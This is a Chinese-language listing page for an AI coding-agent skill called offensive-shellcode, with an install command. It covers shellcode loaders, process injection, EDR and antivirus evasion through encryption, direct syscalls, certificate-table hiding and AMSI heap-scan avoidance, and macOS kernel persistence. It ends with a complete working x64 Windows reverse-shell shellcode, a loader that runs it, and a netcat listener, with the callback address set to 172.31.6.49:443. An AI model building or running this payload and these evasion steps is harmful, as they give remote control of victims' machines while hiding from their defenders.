mcpField
O
offensive-shellcode

offensive-shellcode

github.com/snailsploit安全9.7k190 次安装2 周前更新
代码仓库

关于 offensive-shellcode

面向安全研究人员的 Shellcode 开发参考指南,介绍跨平台代码编写、加载器、测试与分析主题。内容整理了执行流程、技术选项和相关工具示例。

主要功能

  1. 01Shellcode 开发流程概览
  2. 02位置无关代码技术参考
  3. 03Windows API 解析方法
  4. 04加载器分配、写入与执行流程
  5. 05PE 转 Shellcode 工具索引
  6. 06跨平台注意事项

适用场景

  1. 01研究不同平台的 Shellcode 执行机制
  2. 02比较加载器实现步骤
  3. 03查找 PE 转 Shellcode 方案
  4. 04梳理 Shellcode 测试与调试流程

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-shellcode

安装后在 Claude Code 中输入/offensive-shellcode确认已加载。

详细介绍

Shellcode 开发工作流

  1. 确定概念和目标平台(x86/x64、Windows/Linux/macOS)
  2. 使用与位置无关的技术编写汇编代码
  3. 提取二进制文件,并在受控环境中测试
  4. 避免空字节并进行优化
  5. 进行编码/加密,以规避静态检测
  6. 与加载器打包,并选择投递方式

基本概念

执行模式(分配-写入-执行)

避免直接使用 PAGE_EXECUTE_READWRITE——建议:

  1. 使用 PAGE_READWRITE 分配内存
  2. 将 shellcode 写入已分配的区域
  3. 调用 VirtualProtect,将权限切换为 PAGE_EXECUTE_READ
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();
与位置无关代码(PIC)技术
方法平台说明
Call/PopWindows压入下一条地址,并弹出到寄存器
FPU 状态Windowsfstenv 保存指令指针
SEHWindows异常处理程序存储 EIP
GOTLinux全局偏移表
VDSOLinux内核提供的共享对象

Windows API 解析(遍历 PEB)

无需导入表即可识别 kernel32.dll:

  1. 通过 gs:[0x60](x64)或 fs:[0x30](x86)获取 PEB
  2. 遍历 PEB->Ldr.InMemoryOrderModuleList——顺序为:exe → ntdll → kernel32
  3. 对模块名称进行哈希比对,以定位 kernel32
  4. 解析导出地址表(EAT)
  5. 按名称哈希查找 GetProcAddress,然后解析 LoadLibraryA
  6. 使用 LoadLibraryA 加载 WS2_32.dll,并解析 Winsock 函数

用于调试 PEB 遍历的 WinDbg 辅助命令:

dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32   # verify base address
r @r8           # check register

Shellcode 加载器

加载器职责
  • 环境验证/密钥生成(沙箱检测)
  • 解密 shellcode
  • 安全地分配内存并注入
  • 注入完成后结束其职责

推荐语言: Zig(体积小、无运行时)、Rust(安全)、Nim、Go(注意运行时特征)

分配阶段

避免分配 RWX 内存——采用两步操作:

  • VirtualAllocEx / NtAllocateVirtualMemory——分配 RW
  • ZwCreateSection + NtMapViewOfSection——替代方案
  • 写入后:使用 VirtualProtectEx 将权限切换为 RX

其他选项: 代码洞、栈/堆(禁用 DEP)

写入阶段
  • WriteProcessMemory / NtWriteVirtualMemory
  • 将 memcpy 到映射的节

规避技巧:

  • 在 shellcode 前添加虚假操作码
  • 将其拆分为多个块,并按随机顺序写入
  • 在写入之间添加延迟
执行阶段

这是审查最严格的步骤——EDR 会检查线程起始地址是否位于映像支持的内存中:

技术说明
CreateRemoteThread / ZwCreateThreadEx动静大,受到严密监控
NtSetContextThread劫持已挂起的线程
NtQueueApcThreadExAPC 注入
API 蹦床覆盖函数序言
ThreadlessInject不创建新线程

间接执行资源:


PE 到 Shellcode 的转换

工具用途
DonutEXE/DLL → shellcode
sRDIDLL → 与位置无关的 shellcode
Pe2shcPE → shellcode
Amber反射式 PE 打包器

开源加载器:

  • ScareCrow
  • NimPackt-v1
  • NullGate — 间接系统调用 + 无用写入序列
  • DripLoader — 分块 RW 写入 + 直接系统调用 + JMP 蹦床
  • ProtectMyTooling — 串联多种防护措施
  • 直接系统调用辅助工具:SysWhispers3、FreshyCalls(现已成为基线要求)

Shellcode 存储与隐藏

位置风险备注
硬编码在 .text 中中需要重新编译;存储权限为 RW/RO
PE 资源(RCDATA)高大多数都会被 AV 扫描
额外的 PE 节中使用倒数第二个节
证书表低保持已签名 PE 的签名完整
托管在互联网不定SharpShooter

证书表技术(推荐):

  • 用 shellcode 字节填充证书表;更新 PE 头
  • 仅对加载器 DLL 做后门处理(例如,teams.exe 中的 ffmpeg.dll)
  • 主可执行文件的签名仍然有效;只有 DLL 的签名会失效

**保护:**使用 LZMA 压缩;存储前使用 XOR32、RC4 或 AES 加密。

**Windows 11 24H2 说明:**AMSI 堆扫描已启用。使用 PAGE_NOACCESS 分配内存,原地解密,然后切换为 PAGE_EXECUTE_READ,以避免实时堆扫描。


规避

逐步升级规避手段
  1. 基本的 shellcode 执行(基线)
  2. 添加 XOR/AES 加密和混淆
  3. 使用直接系统调用绕过用户态钩子
  4. 将远程进程注入作为最后手段
本地注入与远程注入

远程注入更容易被检测到:

  • CFG / CIG 强制实施
  • ETW Ti 数据流
  • EDR 调用栈回溯(NtOpenProcess 调用来源)
  • 审查更严格的步骤:OpenProcess → Allocate → Write → Execute

Defender 绕过工具(DefenderBypass):

  • myEncoder3.py — 对二进制 shellcode 进行 XOR 加密
  • InjectBasic.cpp — 基本的 C++ 注入器
  • InjectCryptXOR.cpp — XOR 解密并注入
  • InjectSyscall-LocalProcess.cpp — 直接系统调用,不含可疑的 IAT 条目
  • InjectSyscall-RemoteProcess.cpp — 通过直接系统调用进行远程进程注入

跨平台注意事项

Windows on ARM64(WoA)
  • 系统调用使用 SVC 0,ARM64 表位于 ntdll!KiServiceTableArm64
  • 指针认证(PAC)会对 LR 签名——避免栈透视,或使用 PACIASP 重新签名
Linux 6.9+(eBPF Arena)
  • BPF_MAP_TYPE_ARENA 映射可以存放可执行内存
  • 将 shellcode 片段隐藏在 arena 映射中,通过 bpf_prog_run_pin_on_cpu 执行
macOS(已签名系统卷)
  • macOS 12+ 会密封系统分区;未签名的载荷不能存放在其中
  • 用户空间:启动代理、在 /Library/Apple/System/Library/Dyld/ 中劫持 dylib
  • 内核持久化:创建已密封快照,以 RW 方式挂载,注入,使用 kmutil 重新签名,然后 bless

DripLoader 技术

github.com/xuanxuan0/DripLoader:

  1. 使用 NO_ACCESS 保留 64KB 块
  2. 在该内存池中分配 4KB 的 RW 块
  3. 按随机顺序分块写入 shellcode
  4. 将保护属性改为 RX
  5. 用 JMP 跳板覆盖 ntdll!RtlpWow64CtxFromAmd64 的序言
  6. 所有调用均通过直接系统调用完成:NtAllocateVirtualMemory、NtWriteVirtualMemory、NtCreateThreadEx

完整的 x64 反向 Shell Shellcode(Windows)

完整的 Python/Keystone 示例,实现 PEB 遍历 → GetProcAddress → LoadLibraryA → Winsock 连接 → CreateProcessA(cmd.exe):

import ctypes, struct
from keystone import *

CODE = (
# Locate kernel32 Base Address
    " start:                         "
    "   add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
    " find_kernel32:                 "
    "   int3                        ;" # WinDbg breakpoint (disable for release)
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;" # RAX = PEB
    "   mov rax, [rax + 0x18]       ;" # RAX = PEB->Ldr
    "   mov rsi, [rax + 0x20]       ;" # RSI = InMemoryOrderModuleList
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;" # RBX = kernel32 base
    "   mov r8, rbx                 ;"
# Parse Export Address Table
    "   mov ebx, [rbx+0x3C]         ;" # PE signature offset
    "   add rbx, r8                 ;" # RBX = PE header
    "   xor r12,r12                 ;"
    "   add r12, 0x88FFFFF          ;"
    "   shr r12, 0x14               ;"
    "   mov edx, [rbx+r12]          ;" # EAT RVA
    "   add rdx, r8                 ;" # RDX = EAT VA
    "   mov r10d, [rdx+0x14]        ;" # NumberOfFunctions
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x20]        ;" # AddressOfNames RVA
    "   add r11, r8                 ;" # AddressOfNames VA
# Find GetProcAddress
    "   mov rcx, r10                ;"
    " k32findfunction:               "
    "   jecxz functionfound         ;"
    "   xor ebx,ebx                 ;"
    "   mov ebx, [r11+4+rcx*4]      ;" # Function name RVA
    "   add rbx, r8                 ;" # Function name VA
    "   dec rcx                     ;"
    "   mov rax, 0x41636f7250746547 ;" # 'GetProcA'
    "   cmp [rbx], rax              ;"
    "   jnz k32findfunction         ;"
# Get function address
    " functionfound:                 "
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x24]        ;" # AddressOfNameOrdinals RVA
    "   add r11, r8                 ;"
    "   inc rcx                     ;"
    "   mov r13w, [r11+rcx*2]       ;" # Ordinal
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x1c]        ;" # AddressOfFunctions RVA
    "   add r11, r8                 ;"
    "   mov eax, [r11+4+r13*4]      ;"
    "   add rax, r8                 ;" # GetProcAddress VA
    "   mov r14, rax                ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
    "   mov rcx, 0x41797261         ;"
    "   push rcx                    ;"
    "   mov rcx, 0x7262694c64616f4c ;"
    "   push rcx                    ;" # 'LoadLibraryA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;" # kernel32 base
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(kernel32, LoadLibraryA)
    "   add rsp, 0x40               ;"
    "   mov rsi, rax                ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
    "   xor rax, rax                ;"
    "   mov rax, 0x6C6C             ;"
    "   push rax                    ;"
    "   mov rax, 0x642E32335F325357 ;"
    "   push rax                    ;" # 'WS2_32.dll'
    "   mov rcx, rsp                ;"
    "   sub rsp, 0x30               ;"
    "   call rsi                    ;" # LoadLibraryA("WS2_32.dll")
    "   mov r15, rax                ;" # R15 = WS2_32 base
    "   add rsp, 0x40               ;"
# WSAStartup
    "   mov rax, 0x7075             ;"
    "   push rax                    ;"
    "   mov rax, 0x7472617453415357 ;"
    "   push rax                    ;" # 'WSAStartup'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(ws2_32, WSAStartup)
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   xor rcx,rcx                 ;"
    "   mov cx,408                  ;"
    "   sub rsp,rcx                 ;"
    "   lea rdx,[rsp]               ;" # lpWSAData
    "   mov cx,514                  ;" # wVersionRequired = 2.2
    "   sub rsp,88                  ;"
    "   call r12                    ;" # WSAStartup
# WSASocketA — create socket
    "   mov rax, 0x4174             ;"
    "   push rax                    ;"
    "   mov rax, 0x656b636f53415357 ;"
    "   push rax                    ;" # 'WSASocketA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   sub rsp,0x208               ;"
    "   xor rdx, rdx                ;"
    "   sub rsp, 88                 ;"
    "   mov [rsp+32], rdx           ;"
    "   mov [rsp+40], rdx           ;"
    "   inc rdx                     ;"
    "   mov rcx, rdx                ;"
    "   inc rcx                     ;"
    "   xor r8,r8                   ;"
    "   add r8,6                    ;"
    "   xor r9,r9                   ;"
    "   mov r9w,98*4                ;"
    "   mov ebx,[r15+r9]            ;"
    "   xor r9,r9                   ;"
    "   call r12                    ;" # WSASocketA
    "   mov r13, rax                ;" # R13 = socket handle
    "   add rsp, 0x208              ;"
# WSAConnect — connect to C2
    "   mov rax, 0x7463             ;"
    "   push rax                    ;"
    "   mov rax, 0x656e6e6f43415357 ;"
    "   push rax                    ;" # 'WSAConnect'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   mov rcx, r13                ;" # socket handle
    "   sub rsp,0x208               ;"
    "   xor rax,rax                 ;"
    "   inc rax                     ;"
    "   inc rax                     ;"
    "   mov [rsp], rax              ;" # AF_INET = 2
    "   mov rax, 0xbb01             ;" # Port 443 (big-endian)
    "   mov [rsp+2], rax            ;"
    "   mov rax, 0x31061fac         ;" # IP 172.31.6.49 — UPDATE THIS
    "   mov [rsp+4], rax            ;"
    "   lea rdx,[rsp]               ;"
    "   mov r8, 0x16                ;" # sizeof(sockaddr_in)
    "   xor r9,r9                   ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   sub rsp, 0x88               ;"
    "   call r12                    ;" # WSAConnect
# Re-locate kernel32 and resolve CreateProcessA
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;"
    "   mov rax, [rax + 0x18]       ;"
    "   mov rsi, [rax + 0x20]       ;"
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;"
    "   mov r8, rbx                 ;"
    "   mov rax, 0x41737365636f     ;"
    "   push rax                    ;"
    "   mov rax, 0x7250657461657243 ;"
    "   push rax                    ;" # 'CreateProcessA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;" # R12 = CreateProcessA
# Push cmd.exe + build STARTUPINFOA
    "   mov rax, 0x6578652e646d63   ;"
    "   push rax                    ;" # 'cmd.exe'
    "   mov rcx, rsp                ;" # lpApplicationName
    "   push r13                    ;" # hStdError = socket
    "   push r13                    ;" # hStdOutput = socket
    "   push r13                    ;" # hStdInput = socket
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x100              ;" # STARTF_USESTDHANDLES
    "   push ax                     ;"
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x68               ;"
    "   push rax                    ;" # cb = 0x68
    "   mov rdi,rsp                 ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
    "   mov rax, rsp                ;"
    "   sub rax, 0x500              ;"
    "   push rax                    ;" # lpProcessInformation
    "   push rdi                    ;" # lpStartupInfo
    "   xor rax, rax                ;"
    "   push rax                    ;" # lpCurrentDirectory = NULL
    "   push rax                    ;" # lpEnvironment = NULL
    "   push rax                    ;"
    "   inc rax                     ;"
    "   push rax                    ;" # bInheritHandles = TRUE
    "   xor rax, rax                ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;" # dwCreationFlags = 0
    "   mov r8, rax                 ;" # lpThreadAttributes = NULL
    "   mov r9, rax                 ;" # lpProcessAttributes = NULL
    "   mov rdx, rcx                ;" # lpCommandLine = 'cmd.exe'
    "   mov rcx, rax                ;" # lpApplicationName = NULL
    "   call r12                    ;" # CreateProcessA
)

ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
    ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
    ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0), ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))

print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")

ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
    ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)

**注意:**使用前更新 IP(0x31061fac)和端口(0xbb01)。监听器:nc -nvlp 443

**Windows 11 23H2:**Smart App Control 可能会阻止向本地子网的 TCP 443/4444 出站连接。请使用非标准端口或命名管道载荷。

评论

支持 Markdown